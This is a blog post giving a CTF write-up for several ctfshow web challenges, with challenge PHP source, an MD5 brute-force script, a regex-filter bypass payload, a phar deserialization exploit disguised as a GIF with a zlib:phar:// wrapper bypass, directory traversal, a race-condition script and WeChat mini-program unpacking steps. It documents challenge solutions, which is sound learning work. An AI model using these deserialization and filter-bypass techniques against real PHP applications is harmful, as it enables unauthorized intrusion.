ctfshow大吉大利杯Web题目Writeup

ctfshow大吉大利杯Web题目Writeup

veryphp

考点:正则匹配、MD5爆破、调用类中方法

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
    function __wakeup(){
        die("Access Denied!");
    }
    static function oao(){
        show_source("config.php");
    }
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
if(isset($shaw_root)){
    if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
        echo $hint;
    }else{
        echo "Almost there."."<br>";
    }
}else{
    echo "<br>"."Input correct parameters"."<br>";
    die();
}
if($ans===$SecretNumber){
    echo "<br>"."Congratulations!"."<br>";
    call_user_func($my_ans);
}

第一层正则过滤了大部分的符号以及个别字母,这个好像是Web入门题的trick,可以通过空格绕过,也可以自己试试有啥可以替换成下划线的

网站代码
<?php
var_dump($_POST);
?>

遍历脚本
import requests
url = "http://127.0.0.1/Web1.php"
for i in range(34,127):
    s = chr(i)
    data = {
        "shaw" + S + "root" : "x"
    }
    res = requests.post(url=url,data=data)
    if "shaw_root" not in res.text:
        print s

第二层正则是需要满足的,因为我们要看hint变量的内容,通过正则网站匹配,最后获得字符串:-a9<b>zx>>>>>>>>>>>abcphp@Rs|,在hint中可以获得SecretNumber的值

#coding: utf-8

import hashlib
s = ''
dic = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
md5 = hashlib.md5(dic).hexdigest()

for a in dic:
	for b in dic:
		for c in dic:
			for d in dic:
				for g in dic:
					t = "shaw"+ str(a)+str(b)+str(c)+str(d)+str(g) +"root"
					md5 = hashlib.md5(t).hexdigest()
					if md5 == '166b47a5cb1ca2431a0edfcef200684f':
						print t
						print md5

最后一步就是调用类中方法,这个入门题也是有考过

Payload:ans=21475&shaw root=-a9<b>zx>>>>>>>>>>>abcphp@Rs|&my ans=qwq::oao

spaceman

这题非预期了,就很突然,听说考点是反序列化的字符串逃逸,因为没有revenge就没去纠结了

虎山行and虎山行's revenge

考点:代码审计、Phar反序列化、条件竞争

打开后是一个达达CMS,感觉这么大的网站应该有源码,就www.zip试试,无果,去看了一下hint,竟然是www.rar,呜呜呜。

获得源码后,先用seay审计一下

找到这个是参数可控,可以目录穿梭的。尝试访问根目录下的flag,获得新路由ctfshowsecretfilehh,代码如下

<?php
highlight_file(__FILE__);
error_reporting(0);
include('waf.php');
class Ctfshow{
    public $ctfer = 'shower';
    public function __destruct(){
        system('cp /hint* /var/www/html/hint.txt');
    }
}
$filename = $_GET['file'];
readgzfile(waf($filename));
?>

有一个类,一看就是要触发的,但是后面处理的操作又没有反序列化,先读一下waf的内容,知道了过滤很多phar伪协议的操作,那这里就是要上传文件,然后通过phar协议进行反序列化。

去找上传点,在后台管理中找到了。(其实这里也可以根据上传点的url判断出考点,upload.php文件并不在mc-admin文件夹下,可见这个是后面自己加上去),只允许上传图片,先做个phar文件

<?php
class Ctfshow{
    public $ctfer = 'shower';
}
$phar = new Phar("b.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar-> addFromString('test.txt','test');
$o = new Ctfshow();
$phar->setMetadata($o);
$phar->stopBuffering();
?>

把后缀名改成.gif即可

接下来这步是yu师傅教的,因为waf把phar伪协议的组合拳过滤的很死,从官网中的glob协议也不行,最后yu师傅说可以用zlib:phar://这样绕过(yu22x yyds),但是我想去执行文件时发现不行,用第一层的方法读upload文件

$md5_unix_random =substr(md5(time()),0,8);
$filename = $md5_unix_random.'.'.$extension;
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);

不给文件名,还用了md5加密,不过这个记得在纵横杯上见到过,用脚本上传即可。

获得新路由ctfshowgetflaghhhh,源码

<?php
show_source(__FILE__);
$unser = $_GET['unser'];
class Unser {
    public $username='Firebasky';
    public $password;
    function __destruct() {
        if($this->username=='ctfshow'&&$this->password==(int)md5(time())){
            system('cp /ctfshow* /var/www/html/flag.txt');
        }
    }
}
$ctf=@unserialize($unser);
system('rm -rf /var/www/html/flag.txt');

简单的条件竞争

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import hashlib
import requests
import time

def MD5(str):
    hl = hashlib.md5()
    hl.update(str.encode())
    return hl.hexdigest()

if __name__ == '__main__':
    url = 'http://fa001af0-2492-46ff-8753-8a94e21c532d.chall.ctf.show/hsxctfshowsecretgetflagl/'
    while True:
        x = MD5(str(int(time.time())))
        # print x
        params = {
            'unser':'O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";s:32:"'+x+'";}'
        }
        res = requests.get(url=url,params=params)
        #print res.url

然后访问/flag.txt即可

有手就行

考点:base64隐写、微信小程序逆向

打开后没有内容,查看源码发现有注释,是base64隐写,这里用的网站是https://tool.jisuapi.com/base642pic.html,是赵总!!!然后其实就去猜了,但是发现url修改文件名后还是会自动补上?file=scan,猜测要改的file参数,修改?file=flag获得另外一张图片(是二维码),扫描后是一个微信小程序。计算了一下,用鼠大师(Y4师傅推荐,好评)以0.001s点击,需要15个小时多才能完成,那就不用做其他题目了,赶紧换个办法。

这时候神光师傅发了一篇文章这里是关于微信小程序的逆向,这里就是跟着做一遍就可以获得flag了,因为是手机是ios,所以我这里用模拟器做的。

通过打开微信的小程序,这时候它会缓存至本地,然后使用RE文件管理器找到它的.wxapkg后缀名文件,如下(其中很长一串数字+字母的内容是随机的)

接着将他们导出至电脑上

从github上下载逆向的相关工具(这里用的语言是nodejs),并装上依赖,切记依赖是放在工具文件夹下的

npm install esprima
npm install css-tree
npm install cssbeautify
npm install vm2
npm install uglify-es
npm install js-beautify
npm install escodegen

执行对应命令即可

搜索flag

posted @ 2021-01-24 21:09  erR0Ratao  阅读(970)  评论(0编辑  收藏  举报